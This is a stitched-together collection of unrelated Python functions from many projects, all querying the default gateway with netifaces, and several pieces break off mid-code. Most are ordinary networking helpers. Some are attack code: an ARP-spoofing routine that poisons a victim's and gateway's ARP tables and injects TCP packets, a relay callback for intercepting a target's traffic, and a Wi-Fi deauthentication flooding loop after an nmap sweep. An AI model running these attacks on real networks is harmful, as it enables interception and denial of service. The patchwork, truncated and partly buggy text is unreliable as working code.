def update(self): """Update IP stats using the input method. Stats is dict """ # Reset stats self.reset() if self.input_method == 'local' and netifaces_tag: # Update stats using the netifaces lib try: default_gw = netifaces.gateways()['default'][netifaces.AF_INET] except (KeyError, AttributeError) as e: logger.debug("Cannot grab the default gateway ({0})".format(e)) else: try: self.stats['address'] = netifaces.ifaddresses(default_gw[1])[netifaces.AF_INET][0]['addr'] self.stats['mask'] = netifaces.ifaddresses(default_gw[1])[netifaces.AF_INET][0]['netmask'] self.stats['mask_cidr'] = self.ip_to_cidr(self.stats['mask']) self.stats['gateway'] = netifaces.gateways()['default'][netifaces.AF_INET][0] except (KeyError, AttributeError) as e: logger.debug("Cannot grab IP information: {0}".format(e)) elif self.input_method == 'snmp': # Not implemented yet pass # Update the view self.update_views() return self.stats
def main(): setup() bus = pydbus.SystemBus() pattern_include = re.compile("wlan*") pattern_exclude = re.compile("ScreenlyOSE-*") wireless_connections = filter( lambda c: not pattern_exclude.search(str(c['Id'])), filter( lambda c: pattern_include.search(str(c['Devices'])), get_active_connections(bus) ) ) # Displays the hotspot page if not path.isfile(HOME + INITIALIZED_FILE) and not gateways().get('default'): if wireless_connections is None or len(wireless_connections) == 0: url = 'http://{0}/hotspot'.format(LISTEN) load_browser(url=url) # Wait until the network is configured while not path.isfile(HOME + INITIALIZED_FILE) and not gateways().get('default'): if len(wireless_connections) == 0: sleep(1) wireless_connections = filter( lambda c: not pattern_exclude.search(str(c['Id'])), filter( lambda c: pattern_include.search(str(c['Devices'])), get_active_connections(bus) ) ) continue if wireless_connections is None: sleep(1) continue break wait_for_node_ip(5) url = 'http://{0}:{1}/splash_page'.format(LISTEN, PORT) if settings['show_splash'] else 'file://' + BLACK_PAGE browser_url(url=url) if settings['show_splash']: sleep(SPLASH_DELAY) global scheduler scheduler = Scheduler() subscriber = ZmqSubscriber() subscriber.daemon = True subscriber.start() # We don't want to show splash_page if there are active assets but all of them are not available view_image(HOME + LOAD_SCREEN) logging.debug('Entering infinite loop.') while True: asset_loop(scheduler)
def update(self): """Update IP stats using the input method. Stats is dict """ # Reset stats self.reset() if self.input_method == 'local' and netifaces_tag: # Update stats using the netifaces lib try: if not 'freebsd' in sys.platform: default_gw = netifaces.gateways()['default'][netifaces.AF_INET] else: raise KeyError, 'On FreeBSD, Calling gateways would segfault' except KeyError: logger.debug("Can not grab the default gateway") else: try: self.stats['address'] = netifaces.ifaddresses(default_gw[1])[netifaces.AF_INET][0]['addr'] self.stats['mask'] = netifaces.ifaddresses(default_gw[1])[netifaces.AF_INET][0]['netmask'] self.stats['mask_cidr'] = self.ip_to_cidr(self.stats['mask']) if not 'freebsd' in sys.platform: self.stats['gateway'] = netifaces.gateways()['default'][netifaces.AF_INET][0] except KeyError as e: logger.debug("Can not grab IP information (%s)".format(e)) elif self.input_method == 'snmp': # Not implemented yet pass # Update the view self.update_views() return self.stats
def __init__(self): # ----------------- NIC INFO ----------------- self.os = platform.dist()[0] # If system is "debian": if self.os == 'debian': self.hostname = socket.gethostname() self.iface = ni.interfaces()[1] self.ipaddress = ni.ifaddresses(self.iface)[ni.AF_INET][0]['addr'] self.subnet = ni.ifaddresses(self.iface)[ni.AF_INET][0]['netmask'] self.gateways = ni.gateways()['default'][ni.AF_INET][0] # --- OS INFO --------------------- self.os_ver = platform.dist()[1] self.mac = ''.join('%012x' % get_mac()) self.ip_data = get_ip() self.path_ip = '/etc/network/interfaces' self.dns_file = '/etc/resolv.conf' # If system is "Arch Linux": else: self.hostname = socket.gethostname() self.iface = ni.interfaces()[1] self.ipaddress = ni.ifaddresses(self.iface)[ni.AF_INET][0]['addr'] self.subnet = ni.ifaddresses(self.iface)[ni.AF_INET][0]['netmask'] self.gateways = ni.gateways()['default'][ni.AF_INET][0] # --- OS INFO --------------------- self.os_ver = platform.dist()[1] self.mac = ''.join('%012x' % get_mac()) self.ip_data = get_ip() self.path_ip = '/etc/netctl/eth0' self.dns_file = '/etc/resolv.conf' logger.debug('GET IP SETTING OK!')
def update(self): """Update IP stats using the input method. Stats is dict """ # Init new stats stats = self.get_init_value() if self.input_method == 'local' and not import_error_tag: # Update stats using the netifaces lib try: default_gw = netifaces.gateways()['default'][netifaces.AF_INET] except (KeyError, AttributeError) as e: logger.debug("Cannot grab the default gateway ({})".format(e)) else: try: stats['address'] = netifaces.ifaddresses(default_gw[1])[netifaces.AF_INET][0]['addr'] stats['mask'] = netifaces.ifaddresses(default_gw[1])[netifaces.AF_INET][0]['netmask'] stats['mask_cidr'] = self.ip_to_cidr(stats['mask']) stats['gateway'] = netifaces.gateways()['default'][netifaces.AF_INET][0] stats['public_address'] = self.public_address except (KeyError, AttributeError) as e: logger.debug("Cannot grab IP information: {}".format(e)) elif self.input_method == 'snmp': # Not implemented yet pass # Update the stats self.stats = stats return self.stats
def get_network_buoy_info(interface): """Returns info about the network and buoy in the given net interface.""" ret = {} n_info = netifaces.interfaces().get(interface) if n_info: """ AF_LINK: {17: [{'broadcast': 'ff:ff:ff:ff:ff:ff', 'addr': 'a0:ce:c8:05:35:f9'}], AF_INET: 2: [{'broadcast': '10.172.203.255', 'netmask': '255.255.255.0', 'addr': '10.172.203.199'}], AF_INET6: 10: [{'netmask': 'ffff:ffff:ffff:ffff::', 'addr': 'fe80::a2ce:c8ff:fe05:35f9%eth1'}]} """ # Get the addresses for the given interface ret['AF_INET'] = n_info.get(netifaces.AF_INET) # IPv4 ret['AF_INET6'] = n_info.get(netifaces.AF_INET6) # IPv6 ret['AF_LINK'] = n_info[netifaces.AF_LINK] # link layer interface """ {2: [('10.0.1.1', 'en0', True), ('10.2.1.1', 'en1', False)], 30: [('fe80::1', 'en0', True)], 'default': { 2: ('10.0.1.1', 'en0'), 30: ('fe80::1', 'en0') }} """ # Get the default gateways for IPv4 and IPv6 ret['gateways'] = {} ret['gateways']['AF_INET'] = netifaces.gateways()['default'].get( netifaces.AF_INET) ret['gateways']['AF_INET6'] = netifaces.gateways()['default'].get( netifaces.AF_INET6) return ret
def _get_address(): """ Returns the address of some selected network gateway interface. """ if netifaces.AF_INET not in netifaces.gateways(): print('No network interfaces available') sys.exit() available_gateways = {} for i, (_, intf, _) in \ enumerate(netifaces.gateways()[netifaces.AF_INET]): available_gateways[str(i)] = intf gateway = handle_console_input(available_gateways) address = netifaces.ifaddresses(gateway)[netifaces.AF_INET][0]['addr'] """ Why did i have to use the ifaddresses method? instead of just grabbing the address from the gateways()[2] tuple? this is returning 10.1.1.1, the location of the router. The gateways assigned address must be given by the ifaddresses function netifaces.gateways() - will only return the gateway/interface that is 'active(?)', so if both wlan0 and eth0 are plugged in, only one connection is used as a network connection , for example browsers will only connect through the single 'active' gateway. """ return address
def get_interfaces(): interfaces = {'activated':None,'all':[],'gateway':None,'IPaddress':None} interfaces['all'] = netifaces.interfaces() try: interfaces['gateway'] = netifaces.gateways()['default'][netifaces.AF_INET][0] interfaces['activated'] = netifaces.gateways()['default'][netifaces.AF_INET][1] interfaces['IPaddress'] = Refactor.get_Ipaddr(interfaces['activated']) except KeyError: print('Error: find network interface information ') return interfaces
def setNetworkInfo() : global dev global my_ip global my_mac global gateway_ip global gateway_mac dev = netifaces.gateways()['default'][netifaces.AF_INET][1] my_ip = netifaces.ifaddresses(dev)[2][0]['addr'] my_mac = netifaces.ifaddresses(dev)[17][0]['addr'] gateway_ip = netifaces.gateways()[2][0][0] gateway_mac = getBash("arp -a | grep \"("+gateway_ip+")\" | awk -F ' ' '{print $4}'")
def default_interface(): """ Get default gateway interface. Some OSes return 127.0.0.1 when using socket.gethostbyname(socket.gethostname()), so we're attempting to get a kind of valid hostname here. """ try: return netifaces.gateways()["default"][netifaces.AF_INET][1] except KeyError: # Sometimes 'default' is empty but AF_INET exists alongside it return netifaces.gateways()[netifaces.AF_INET][0][1]
def log_message(self, format, *args): if len(args) < 3 or "200" not in args[1]: return try: request = pickle.load(open("pickle_data.txt","r")) except: request=OrderedDict() time_now = datetime.now() ts = time_now.strftime('%Y-%m-%d %H:%M:%S') iface=netifaces.gateways()['default'][netifaces.AF_INET][1] server = self.get_ip_address(iface) host=self.address_string() addr_pair = (host,server) if addr_pair not in request: request[addr_pair]=[1,ts] else: num = request[addr_pair][0]+1 del request[addr_pair] request[addr_pair]=[num,ts] file=open("index.html", "w") file.write("<!DOCTYPE html> <html> <body><center><h1><font color=\"blue\" face=\"Georgia, Arial\" size=8><em>Real</em></font> Visit Results</h1></center>"); for pair in request: if pair[0] == host: guest = "LOCAL: "+pair[0] else: guest = pair[0] if (time_now-datetime.strptime(request[pair][1],'%Y-%m-%d %H:%M:%S')).seconds < 3: file.write("<p style=\"font-size:150%\" >#"+ str(request[pair][1]) +": <font color=\"red\">"+str(request[pair][0])+ "</font> requests " + "from <<font color=\"blue\">"+guest+"</font>> to WebServer <<font color=\"blue\">"+pair[1]+"</font>></p>") else: file.write("<p style=\"font-size:150%\" >#"+ str(request[pair][1]) +": <font color=\"maroon\">"+str(request[pair][0])+ "</font> requests " + "from <<font color=\"navy\">"+guest+"</font>> to WebServer <<font color=\"navy\">"+pair[1]+"</font>></p>") file.write("</body> </html>"); file.close() pickle.dump(request,open("pickle_data.txt","w"))
def main(): # bssid = get_bssid(iface) # needs try / catch iface = netifaces.gateways()['default'][netifaces.AF_INET][1] conf.iface = iface local_mac = netifaces.ifaddresses(iface)[netifaces.AF_LINK][0]['addr'] local_ip = netifaces.ifaddresses(iface)[netifaces.AF_INET][0]['addr'] print local_mac print local_ip bssid = get_bssid(iface) nm = nmap.PortScanner() nm_scan = nm.scan(hosts = '192.168.0.0/24', arguments='-sP') eligible_hosts = collect_eligible_hosts(nm_scan, local_ip, '192.168.0.1') display_eligible_hosts(eligible_hosts) user_choice = ask_user() enable_monitor_mode(iface) # client_to_deauth = eligible_hosts[2].mac_address while (True): for e in eligible_hosts: for n in range(20): sendp(RadioTap()/Dot11(type=0,subtype=12,addr1=test_client,addr2=bssid,addr3=bssid)/Dot11Deauth(reason=7))
def get_interfaces(self): ''' Retrieve the interfaces of the VM ''' interfaces = netifaces.interfaces() self.interfaces = [] for interface in interfaces: if interface == 'lo': continue default_gw = '' gws = netifaces.gateways() #logging.debug("GATEWAY: "+str(gws)) #logging.debug("GATEWAY: "+str(gws['default'])) #logging.debug("GATEWAY: "+str(gws['default'][netifaces.AF_INET])) if gws['default'] == {}: default_gw = '' else: for gw in gws[netifaces.AF_INET]: if gw[1] == interface: default_gw = gw[0] interface_af_link_info = netifaces.ifaddresses(interface)[17] if 2 in netifaces.ifaddresses(interface): interface_af_inet_info = netifaces.ifaddresses(interface)[2] ipv4_address = interface_af_inet_info[0]['addr'] netmask = interface_af_inet_info[0]['netmask'] else: ipv4_address = "" netmask = "" self.interfaces.append(Interface(name = interface, status = None, mac_address = interface_af_link_info[0]['addr'], ipv4_address = ipv4_address, netmask = netmask, default_gw = default_gw))
def detect_active_interface(ignore_ifaces, default_interface): default_gateway = netifaces.gateways()['default'] for af in (netifaces.AF_INET, netifaces.AF_INET6): _, interface = default_gateway.get(af, (None, None)) if interface and interface not in ignore_ifaces: return interface return default_interface
def get_default_gateway(): """Return ipaddress, interface pair for default gateway """ gws = netifaces.gateways() if 'default' in gws: return gws['default'][netifaces.AF_INET] return None, None
def find_active_ip_address(): """Try to find the active IP addresses.""" import netifaces # Interface of the default gateway gateway_itf = netifaces.gateways()['default'][netifaces.AF_INET][1] # IP address for the interface return netifaces.ifaddresses(gateway_itf)[netifaces.AF_INET][0]['addr']
def get_ip(): """Get local ip address of the machine.""" # Get the default gateway interface name interface = netifaces.gateways()['default'][netifaces.AF_INET][1] # Get the ip address of the machine for that interface return netifaces.ifaddresses(interface)[netifaces.AF_INET][0]['addr']
def default_ipv4(): try: default_if = netifaces.gateways()['default'][netifaces.AF_INET][1] return netifaces.ifaddresses(default_if)[netifaces.AF_INET][0]['addr'] except: traceback.print_exc() return None
def main(): gws=netifaces.gateways() gatewayip = gws['default'][netifaces.AF_INET][0] victimip = input("please enter victim IP:") victimmac = getMAC(victimip) gatewaymac = getMAC(gatewayip) if victimmac == None or gatewaymac == None: print('Could not find MAC Address') return print('+++ ARP Spoofing START -> VICTIM IP[%s]' %victimip) print('[%s]:POISON ARP Table [%s] -> [%s]' %(victimip, gatewaymac, victimmac)) try: while True: p1 = IP(dst = gatewayip, src = victimip)/TCP(dport=80, sport=5000, flags='S') sr(p1) print ("Okay") poisonARP(gatewayip, victimip, victimmac) poisonARP(victimip, gatewayip, gatewaymac) seq = sys.stdin.readline() seq = int(seq[:-1]) p2 = IP(dst = victimip, src = gatewayip)/TCP(dport=80, sport = 5000, flags='A',ack=seq+1, seq=1) sr(p2) sleep(1) except KeyboardInterrupt: restoreARP(victimip, gatewayip, victimmac, gatewaymac) print('--- ARP Spoofing END -> RESTORED ARP Table')
def ip_relay_callback(packet): ether_dst = packet.sprintf("%Ether.dst%") ether_src = packet.sprintf("%Ether.src%") ip_src = packet.sprintf("%IP.src%") ip_dst = packet.sprintf("%IP.dst%") if ARP in packet: arp_p = ARP_POISION() arp_p.send_poision() else: #packet[IP].chksum = "" #packet.show() ni.interfaces() gate_addr = ni.gateways()['default'][2][0] my_mac = ni.ifaddresses('eth0')[ni.AF_LINK][0]['addr'] target_addr = sys.argv[1] if packet[IP].src == target_addr : packet[Ether].dst=global_gate_mac packet[Ether].src=my_mac if packet.haslayer(UDP): del packet[UDP].chksum del packet[UDP].len del packet.chksum del packet.len sendp(packet, verbose=False) elif packet[IP].dst == target_addr : packet[Ether].dst=global_target_mac packet[Ether].src=my_mac if packet.haslayer(UDP): del packet[UDP].chksum del packet[UDP].len del packet.chksum del packet.len sendp(packet, verbose=False) return
def viewNetworkSettings(): global screenMode,curIPEth0,curMskEth0,curMACEth0,curIPWlan0,curMskWlan0,curMACWlan0,curGWDefault,curDNS1,curDNS2,dnslist dnslist = [] curIPEth0 = netifaces.ifaddresses('eth0').setdefault(netifaces.AF_INET,[{'addr':''}])[0]['addr'] curMskEth0 = netifaces.ifaddresses('eth0').setdefault(netifaces.AF_INET,[{'netmask':''}])[0]['netmask'] curMACEth0 = netifaces.ifaddresses('eth0').setdefault(netifaces.AF_LINK,[{'addr':''}])[0]['addr'] try: curIPWlan0 = netifaces.ifaddresses('wlan0').setdefault(netifaces.AF_INET,[{'addr':''}])[0]['addr'] curMskWlan0 = netifaces.ifaddresses('wlan0').setdefault(netifaces.AF_INET,[{'netmask':''}])[0]['netmask'] curMACWlan0 = netifaces.ifaddresses('wlan0').setdefault(netifaces.AF_LINK,[{'addr':''}])[0]['addr'] except: curIPWlan0 = "" curMskWlan0 = "" curMACWlan0 = "" gws = netifaces.gateways() try: curGWDefault = gws['default'][netifaces.AF_INET][0] except: curGWDefault = "" f = open("/etc/resolv.conf") line = f.readline() while line: line = line.replace('nameserver','') line = line.replace(' ','') line = line.replace('\n','') if isIpAddr(line): dnslist.append(line) line = f.readline() f.close() screenMode = 4
def __get_network_routes(self): """ Gather routes from netifaces module """ routes = [] gws = netifaces.gateways() for k in gws.keys(): if k == 'default': continue for r in gws[k]: (ip,interface,is_gateway) = r gw_name = "{0}".format(netifaces.address_families[k]) routes.append({ gw_name : { 'ip_address' : ip, 'interface' : interface, 'default' : is_gateway } } ) return routes
def add_bridge(name, interface): network_configuration = UbuntuIntfMgmt() if check_interface(name): return data = get_int_config(interface) netmask = data[0]['netmask'] addr = data[0]['addr'] gateway = ni.gateways() gw = gateway['default'][ni.AF_INET][0] extra_params = network_configuration.extract_net_config(interface, backup=True, read_only=False) extra_params['inet_type'] = 'manual' extra_params['bridge_name'] = name extra_params = dict([(k, "".join(list(v))) for k, v in extra_params .iteritems()]) network_configuration._write_net_config_bridged_iface_br(interface, **extra_params) extra_params = {'source_intf': interface, 'inet_type': 'static', } network_configuration._write_net_config_bridge(name, addr, netmask, gw, **extra_params) restart_network_service(name, interface)
def guess_external_ip(): gateways = netifaces.gateways() try: ifnet = gateways['default'][netifaces.AF_INET][1] return netifaces.ifaddresses(ifnet)[netifaces.AF_INET][0]['addr'] except (KeyError, IndexError): return
def get_url_api(): import netifaces from apize.decorators import apize_raw gateways = netifaces.gateways() fbx_ip = gateways['default'][netifaces.AF_INET][0] @apize_raw('http://' + fbx_ip + '/api_version') def get_api_config(): return {} config = get_api_config() api_version = 'v' + config['data']['api_version'].split('.')[0] api_scheme = 'http://' api_port = '' if config['data']['https_available']: api_port = ':' + str(config['data']['https_port']) api_scheme = 'https://' api_url = '{}{}{}{}{}'.format( api_scheme, config['data']['api_domain'], api_port, config['data']['api_base_url'], api_version, ) return api_url
def configure(protocol, port, pipes, interface): remove_all() reactor.addSystemEventTrigger('after', 'shutdown', remove_all) # gets default (outward-facing) network interface (e.g. deciding which of # eth0, eth1, wlan0 is being used by the system to connect to the internet) if interface == "auto": interface = netifaces.gateways()['default'][netifaces.AF_INET][1] else: if interface not in netifaces.interfaces(): raise ValueError("Given interface does not exist.", interface) add(protocol, port, interface) manager = libnetfilter_queue.Manager() def on_up(packet): def accept(): manager.set_verdict(packet, libnetfilter_queue.NF_ACCEPT) pipes.up.attempt(accept, packet.size) def on_down(packet): def accept(): manager.set_verdict(packet, libnetfilter_queue.NF_ACCEPT) pipes.down.attempt(accept, packet.size) manager.bind(UP_QUEUE, on_up) manager.bind(DOWN_QUEUE, on_down) reader = abstract.FileDescriptor() reader.doRead = manager.process reader.fileno = lambda: manager.fileno reactor.addReader(reader)
def forwardPort(privatePort, publicPort, lifeTime, protocol): privatePort = checkInt(privatePort) publicPort = checkInt(publicPort) lifeTime = checkInt(lifeTime) if privatePort and publicPort and lifeTime: #udpPacket = struct.pack("!BBIIII", 0x0, 0x2, 0x0, 0x16, 0x16, 0x3C) protocol = 1 if protocol.lower() == "udp" else 2 udpPacket = struct.pack("!BBIIII", 0x0, protocol, 0x0, privatePort, publicPort, lifeTime) gateway = netifaces.gateways()["default"] if netifaces.AF_INET in gateway: gateway = gateway[netifaces.AF_INET][0] sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(10) try: sock.connect((gateway, 5351)) sock.send(udpPacket) response = sock.recvfrom(16) sock.close resultArray = map(ord, response[0]) for index in range(len(resultArray)): resultArray[index] = hex(resultArray[index]) parseResult(resultArray) except socket.timeout: print "Could not connect to NAT-PMP on port 5351 (timed out after 10 seconds)" else: print "Not connected to a network!" else: print "Please input valid values"
def get_gateway_addr(): """Use netifaces to get the gateway address, if we can't import it then fall back to a hack to obtain the current gateway automatically, since Python has no interface to sysctl(). This may or may not be the gateway we should be contacting. It does not guarantee correct results. This function requires the presence of netstat on the path on POSIX and NT. """ try: import netifaces return netifaces.gateways()["default"][netifaces.AF_INET][0] except ImportError: shell_command = 'netstat -rn' if os.name == "posix": pattern = \ re.compile('(?:default|0\.0\.0\.0|::/0)\s+([\w\.:]+)\s+.*UG') elif os.name == "nt": if platform.version().startswith("6.1"): pattern = re.compile(".*?0.0.0.0[ ]+0.0.0.0[ ]+(.*?)[ ]+?.*?\n") else: pattern = re.compile(".*?Default Gateway:[ ]+(.*?)\n") system_out = os.popen(shell_command, 'r').read() if not system_out: raise NATPMPNetworkError(NATPMP_GATEWAY_CANNOT_FIND, error_str(NATPMP_GATEWAY_CANNOT_FIND)) match = pattern.search(system_out) if not match: raise NATPMPNetworkError(NATPMP_GATEWAY_CANNOT_FIND, error_str(NATPMP_GATEWAY_CANNOT_FIND)) addr = match.groups()[0].strip() return addr
def main(): setup() if not path.isfile(HOME + INITIALIZED_FILE) and not gateways().get('default'): url = 'http://{0}/hotspot'.format(LISTEN) load_browser(url=url) while not path.isfile(HOME + INITIALIZED_FILE): sleep(1) url = 'http://{0}:{1}/splash_page'.format(LISTEN, PORT) if settings['show_splash'] else 'file://' + BLACK_PAGE browser_url(url=url) if settings['show_splash']: sleep(SPLASH_DELAY) global scheduler scheduler = Scheduler() subscriber = ZmqSubscriber() subscriber.daemon = True subscriber.start() # We don't want to show splash_page if there are active assets but all of them are not available view_image(HOME + LOAD_SCREEN) logging.debug('Entering infinite loop.') while True: asset_loop(scheduler)
def get_interfaces(self): ''' Retrieve the interfaces of the VM ''' interfaces = netifaces.interfaces() self.interfaces = [] for interface in interfaces: if interface == 'lo': continue default_gw = '' configuration_type = None gws = netifaces.gateways() if gws['default'] != {} and gws['default'][netifaces.AF_INET][1] == interface: default_gw = gws['default'][netifaces.AF_INET][0] interface_af_link_info = netifaces.ifaddresses(interface)[17] if 2 in netifaces.ifaddresses(interface): interface_af_inet_info = netifaces.ifaddresses(interface)[2] ipv4_address = interface_af_inet_info[0]['addr'] netmask = interface_af_inet_info[0]['netmask'] else: ipv4_address = "" netmask = "" if interface == constants.configuration_interface: _type = 'config' configuration_type = 'dhcp' else: _type = 'not_defined' self.interfaces.append(Interface(name = interface, status = None, mac_address = interface_af_link_info[0]['addr'], ipv4_address = ipv4_address, netmask = netmask, default_gw = default_gw, _type = _type, configuration_type = configuration_type))
def default_network_adapter(cls): """Return default active network adapter""" gateway = netifaces.gateways()["default"] return gateway[netifaces.AF_INET][1]
def __init__(self, sa_group, sa_controller_url, sa_iface, secret, timeout): self.logger = logging.getLogger('SecAppWrapper.SAWrapper') self.logger.info("[INIT] Initiating new Wrapper Instance") self.group = sa_group self.controller_url = sa_controller_url self.ready = False self.instance_id = None self.token = None Wrapper.secret = secret Wrapper.reg_timeout = timeout * 60 if sa_iface == "default": self.iface = netifaces.gateways()['default'][netifaces.AF_INET][1] else: self.iface = sa_iface self.iface_mac = netifaces.ifaddresses('{0}'.format(self.iface))[netifaces.AF_LINK][0][ 'addr'] self.logger.info("[INIT] Aquired HW_ADDR for interface %s: %s", self.iface, self.iface_mac) self.logger.info("[INIT] Sending Register Request to Controller... %s", self.iface_mac) connected = False # { "type": "REGISTER", "group": "sa_group", "hw_addr": "mac-address", "token": # "secureToken", "misc": "misc info" } data = {'type': ApiURI.Type.REGISTER.name, 'group': self.group, 'hw_addr': self.iface_mac, 'misc': '', 'exp': int(time.time() + 5 * 60)} reg_token = jwt.encode(data, Wrapper.secret, algorithm='HS256') reg_token_j = {"token": reg_token.decode("utf-8")} json_data = json.dumps(reg_token_j) while not connected: conn = Request(self.controller_url + ApiURI.Type.REGISTER.value, json_data.encode("utf-8"), {'Content-Type': 'application/json'}) try: resp = urlopen(conn) if resp.getcode() == 200: self.logger.info("[INIT] Connection successful") resp_data = json.loads(resp.read().decode("utf-8")) payload = jwt.decode(resp_data["token"], Wrapper.secret, algorithms=['HS256']) self.instance_id = payload['instance_id'] self.token = resp_data["token"] connected = True self.ready = True self.logger.info( "[INIT] Wrapper Instance registered with Instance ID: %s", self.instance_id) elif resp.getcode() == 208: # HTTP Code 208: Already Reported. # Here: Already registered self.logger.info("[INIT] Instance already registered. Carry on!") resp_data = json.loads(resp.read().decode("utf-8")) payload = jwt.decode(resp_data["token"], Wrapper.secret, algorithms=['HS256']) self.instance_id = payload['instance_id'] self.token = resp_data["token"] connected = True self.ready = True resp.close() else: self.logger.warning("[INIT] Connection failed. Retrying...") except urllib.error.URLError as error: print(str(error)) # Connection Established, Wrapper Instance registered. Start Keep-Alive messages to keep # registration if self.ready: self.logger.info("[INIT] Wrapper Instance is ready!")
def get_host_ip(): gws = ni.gateways() interface = gws["default"][ni.AF_INET][1] return ni.ifaddresses(interface)[ni.AF_INET][0]["addr"]
from selenium import webdriver import time import socket import netifaces # wifi Auto login if __name__ == '__main__': username = open("username", "r").read().replace('\n', '') # Enter Your Wifi Username password = open("password", "r").read().replace('\n', '') # Enter Your Wifi password router_ip = netifaces.gateways()['default'][netifaces.AF_INET][0] url = 'http://' + router_ip + ':1000/login?' # url = 'http://192.168.191.254:1000/login?' # Wifi Login URL # url = 'http://192.168.20.254:1000/login?' # Wifi Login URL # for Safari driver = webdriver.Safari() # driver = webdriver.Chrome('your_path') # URL with token examples # http://192.168.20.254:1000/keepalive?0f0d0d060f2b8310 # http://192.168.20.254:1000/login?01674a0b0f9b0ef5 # http://192.168.20.254:1000/keepalive?f5fdf2f9fef0fcf6 # http://192.168.20.254:1000/login?0068450a96e49fa4 # http://192.168.20.254:1000/logout?f0fcf4fef9f5f9f7 driver.get(url) time.sleep(0.2) try:
def get_gateway_ip(): import netifaces return netifaces.gateways()['default'][netifaces.AF_INET][0]
# Set server local ip #SERVER_LOCAL_IP=$(ip addr show $IFACE_TYPE | grep "inet" | grep -v "inet6" | awk '{print $2}' | cut -d '/' -f 1) SERVER_LOCAL_IP = nif.ifaddresses( MY_VARS['IFACE_TYPE'])[nif.AF_INET][0]['addr'] MY_VARS['SERVER_LOCAL_IP'] = read_input("Local ip address", SERVER_LOCAL_IP) # Set server public ip #SERVER_PUBLIC_IP=$(curl -s https://api.ipify.org) SERVER_PUBLIC_IP = get('https://api.ipify.org').text MY_VARS['SERVER_PUBLIC_IP'] = read_input("Public ip address", SERVER_PUBLIC_IP) # Set gateway ip #GATEWAY_IP=$( netstat -nr | head -3 | tail -1 | awk '{print $2}' ) GATEWAY_IP = nif.gateways()['default'][nif.AF_INET][0] MY_VARS['GATEWAY_IP'] = read_input("Gateway(router) ip address", GATEWAY_IP) # Set LAN ip #LAN_IP=$( netstat -nr | tail -1 | awk '{print $1}' ) LAN_IP = MY_VARS['GATEWAY_IP'] LAN_IP_PARTS = LAN_IP.split('.') LAN_IP_PARTS[-1] = '0' LAN_IP = '.'.join(LAN_IP_PARTS) MY_VARS['LAN_IP'] = read_input("Local subnet ip address", LAN_IP) ## Setup user variables print("\nA few more to go . . .") print("Press enter to keep the default choice.\n")
def selectDepotserver(self, configService, mode="mount", event=None, productIds=[], masterOnly=False): # pylint: disable=dangerous-default-value,too-many-arguments,too-many-locals,too-many-branches,too-many-statements,redefined-builtin assert mode in ("mount", "sync") productIds = forceProductIdList(productIds) logger.notice("Selecting depot for products %s", productIds) logger.notice("MasterOnly --> '%s'", masterOnly) if event and event.eventConfig.useCachedProducts: cacheDepotDir = os.path.join( self.get('cache_service', 'storage_dir'), 'depot').replace('\\', '/').replace('//', '/') logger.notice("Using depot cache: %s", cacheDepotDir) self.set_temporary_depot_path(cacheDepotDir) if RUNNING_ON_WINDOWS: self.setTemporaryDepotDrive(cacheDepotDir.split(':')[0] + ':') else: self.setTemporaryDepotDrive(cacheDepotDir) self.set( 'depot_server', 'url', 'smb://localhost/noshare/' + ('/'.join(cacheDepotDir.split('/')[1:]))) return if not configService: raise Exception("Not connected to config service") selectedDepot = None configService.backend_setOptions({"addConfigStateDefaults": True}) depotIds = [] configStates = [] dynamicDepot = False depotProtocol = 'cifs' configStates = configService.configState_getObjects(configId=[ 'clientconfig.depot.dynamic', 'clientconfig.depot.protocol', 'opsiclientd.depot_server.depot_id', 'opsiclientd.depot_server.url' ], objectId=self.get( 'global', 'host_id')) for configState in configStates: if not configState.values or not configState.values[0]: continue if configState.configId == 'opsiclientd.depot_server.url' and configState.values: try: depotUrl = forceUrl(configState.values[0]) self.set('depot_server', 'depot_id', '') self.set('depot_server', 'url', depotUrl) logger.notice( "Depot url was set to '%s' from configState %s", depotUrl, configState) return except Exception as err: # pylint: disable=broad-except logger.error( "Failed to set depot url from values %s in configState %s: %s", configState.values, configState, err) elif configState.configId == 'opsiclientd.depot_server.depot_id' and configState.values: try: depotId = forceHostId(configState.values[0]) depotIds.append(depotId) logger.notice("Depot was set to '%s' from configState %s", depotId, configState) except Exception as err: # pylint: disable=broad-except logger.error( "Failed to set depot id from values %s in configState %s: %s", configState.values, configState, err) elif not masterOnly and ( configState.configId == 'clientconfig.depot.dynamic') and configState.values: dynamicDepot = forceBool(configState.values[0]) elif configState.configId == 'clientconfig.depot.protocol' and configState.values: depotProtocol = configState.values[0] logger.info("Using depot protocol '%s' from config state '%s'", depotProtocol, configState.configId) if event and event.eventConfig.depotProtocol: logger.info("Using depot protocol '%s' from event '%s'", event.eventConfig.depotProtocol, event.eventConfig.getName()) depotProtocol = event.eventConfig.depotProtocol if depotProtocol not in ("webdav", "cifs"): logger.error("Invalid protocol %s specified, using cifs", depotProtocol) depotProtocol = "cifs" #if depotProtocol == "webdav" and mode == "mount" and not RUNNING_ON_LINUX and not self.get('global', 'install_opsi_ca_into_os_store'): # logger.error("Using cifs instead of webdav to mount depot share because global.install_opsi_ca_into_os_store is disabled") # depotProtocol = "cifs" if dynamicDepot: if not depotIds: logger.info("Dynamic depot selection enabled") else: logger.info( "Dynamic depot selection enabled, but depot is already selected" ) else: logger.info("Dynamic depot selection disabled") if not depotIds: clientToDepotservers = configService.configState_getClientToDepotserver( clientIds=[self.get('global', 'host_id')], masterOnly=bool(not dynamicDepot), productIds=productIds) if not clientToDepotservers: raise Exception("Failed to get depot config from service") depotIds = [clientToDepotservers[0]['depotId']] if dynamicDepot: depotIds.extend(clientToDepotservers[0].get( 'alternativeDepotIds', [])) logger.debug("Fetching depot servers %s from config service", depotIds) masterDepot = None alternativeDepots = [] for depot in configService.host_getObjects(type='OpsiDepotserver', id=depotIds): logger.trace("Depot: %s", depot) if depot.id == depotIds[0]: masterDepot = depot else: alternativeDepots.append(depot) if not masterDepot: raise Exception( f"Failed to get info for master depot '{depotIds[0]}'") logger.info("Master depot for products %s is %s", productIds, masterDepot.id) selectedDepot = masterDepot if dynamicDepot: if alternativeDepots: logger.info("Got alternative depots for products: %s", productIds) for index, depot in enumerate(alternativeDepots, start=1): logger.info("%d. alternative depot is %s", index, depot.id) try: clientConfig = { "clientId": self.get('global', 'host_id'), "opsiHostKey": self.get('global', 'opsi_host_key'), "ipAddress": None, "netmask": None, "defaultGateway": None } try: gateways = netifaces.gateways() # pylint: disable=c-extension-no-member clientConfig["defaultGateway"], iface_name = gateways[ 'default'][netifaces.AF_INET] # pylint: disable=c-extension-no-member addr = netifaces.ifaddresses(iface_name)[ 